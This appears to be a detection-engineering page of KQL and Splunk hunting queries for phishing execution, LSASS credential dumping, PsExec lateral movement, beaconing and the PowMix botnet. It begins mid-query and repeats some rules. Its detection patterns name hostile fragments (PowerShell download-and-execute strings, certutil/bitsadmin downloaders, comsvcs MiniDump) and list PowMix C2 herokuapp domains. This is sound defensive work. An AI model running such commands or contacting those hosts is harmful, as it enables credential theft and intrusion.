where Vulnerabilities.signature IN ("CVE-2019-15126")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-1611 use cases8 techniques5 kill-chain phases detected
Cisco Talos discovered an ongoing malicious campaign, operating since at least December 2025, affecting a broader workforce in the Czech Republic with a previously undocumented botnet we call “PowMix.”
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Scheduled task created with suspicious image / encoded args · [LLM] PowMix scheduled task: explorer.exe launching .lnk from ProgramData (hex task name)
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · [LLM] PowMix C2 beaconing to PowMix herokuapp subdomains via PowerShell
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1059.001T1027T1053.005
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — PowMix botnet targets Czech workforce
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("user32.dll") or ProcessCommandLine has_any ("Invoke-Expression"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("user32.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — PowMix botnet targets Czech workforce ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("user32.dll") OR Processes.process="*Invoke-Expression*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("user32.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
Hunts the PowMix persistence mechanism: a scheduled task with a CRC32-derived hexadecimal name that triggers daily at 11:00 and runs explorer.exe with a malicious .lnk file path in ProgramData as its argument, abusing Explorer's file-association handling to re-launch the PowerShell loader. This is highly specific to PowMix and unusual for benign tasks.
Rationale: The article explicitly states PowMix schedules a daily 11:00 task whose name is the CRC32(BotID)+config-hash (rendered as hex like 289c2e236761) and whose action is `explorer.exe <ProgramData>\<lnk>` — a bizarre combination not used by legitimate software; cross-checked against The Hacker News write-up and Talos IOCs (explorer-launching-lnk persistence is unique to PowMix/MixShell-lineage actors).
Cross-checked against:
• https://thehackernews.com/2026/04/newly-discovered-powmix-botnet-hits.html
• https://github.com/Cisco-Talos/IOCs/blob/main/2026/04/powmix-botnet-targets-czech-workforce.txt
• https://research.checkpoint.com/2025/zipline-phishing-campaign/
ATT&CKT1053.005T1547.009T1059.001
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName =~ "explorer.exe"
| where InitiatingProcessFileName in~ ("svchost.exe","taskeng.exe","services.exe")
| where ProcessCommandLine has "ProgramData" and ProcessCommandLine endswith ".lnk"
// PowMix names tasks as concatenated CRC32 hex strings (e.g. 289c2e236761) — pivot on schtasks/event 4698 if available
| join kind=leftouter (
DeviceEvents
| where ActionType == "ScheduledTaskCreated"
| where AdditionalFields has_any ("explorer.exe",".lnk")
| extend TaskName = tostring(parse_json(AdditionalFields).TaskName)
| where TaskName matches regex "^[a-f0-9]{10,16}$"
| project DeviceId, TaskName, TaskTime=Timestamp
) on DeviceId
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, TaskName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.process_name=explorer.exe OR Processes.original_file_name=EXPLORER.EXE) (Processes.parent_process_name IN (svchost.exe,taskeng.exe,services.exe)) Processes.process="*ProgramData*\\*.lnk*" by host Processes.parent_process_name Processes.process_name Processes.process Processes.process_id | `drop_dm_object_name(Processes)` | rex field=process "(?<task_lnk>[A-Za-z0-9_\-]+\.lnk)" | where isnotnull(task_lnk) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] PowMix C2 beaconing to PowMix herokuapp subdomains via PowerShellCommand & ControlHigh
Detects PowMix command-and-control by alerting on PowerShell.exe (or its child processes) issuing HTTPS requests to the four confirmed PowMix Heroku subdomains, or on jittered beaconing to any *.herokuapp.com REST-like path originating from powershell.exe. The article and Talos IOC list confirm these specific subdomains.
Rationale: Talos's article and public IOC repo list four exact herokuapp subdomains, and describe powershell.exe beaconing with Chrome User-Agent and jittered intervals (0-261s then 1075-1450s). Outbound powershell.exe → herokuapp.com is rare in enterprise environments; matching the named subdomains is a confirmed-IOC alert. Validated against Talos GitHub IOC list and Hacker News reporting.
Cross-checked against:
• https://github.com/Cisco-Talos/IOCs/blob/main/2026/04/powmix-botnet-targets-czech-workforce.txt
• https://thehackernews.com/2026/04/newly-discovered-powmix-botnet-hits.html
• https://research.checkpoint.com/2025/zipline-phishing-campaign/
ATT&CKT1071.001T1102T1568
Data sourcesNetwork_Traffic.All_TrafficWeb
let powmix_c2 = dynamic(["erpapp-901-53f1ea72f036.herokuapp.com","crmassets-4a69a8e2b3ee.herokuapp.com","crmassets-351-0ac3da22f804.herokuapp.com","erpsync-120-f41cdcf813e4.herokuapp.com"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ ("powershell.exe","pwsh.exe")
| where RemoteUrl has_any (powmix_c2) or RemoteUrl endswith "herokuapp.com"
| extend isKnownIOC = iff(RemoteUrl has_any (powmix_c2), "high", "medium")
| summarize beacons=count(), first=min(Timestamp), last=max(Timestamp), urls=make_set(RemoteUrl,25) by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, isKnownIOC
| extend beacon_span_min = datetime_diff("minute", last, first)
// PowMix jitter: 0-261s then 1075-1450s — multiple beacons over time from powershell
| where beacons >= 3
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest) as dest values(All_Traffic.dest_port) as dest_port values(All_Traffic.app) as app values(All_Traffic.user) as user from datamodel=Network_Traffic.All_Traffic where All_Traffic.app IN ("powershell.exe","pwsh.exe") (All_Traffic.dest IN ("erpapp-901-53f1ea72f036.herokuapp.com","crmassets-4a69a8e2b3ee.herokuapp.com","crmassets-351-0ac3da22f804.herokuapp.com","erpsync-120-f41cdcf813e4.herokuapp.com") OR All_Traffic.dest="*.herokuapp.com") by host All_Traffic.app All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | eval beacon_window=lastTime-firstTime | where count>=3 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
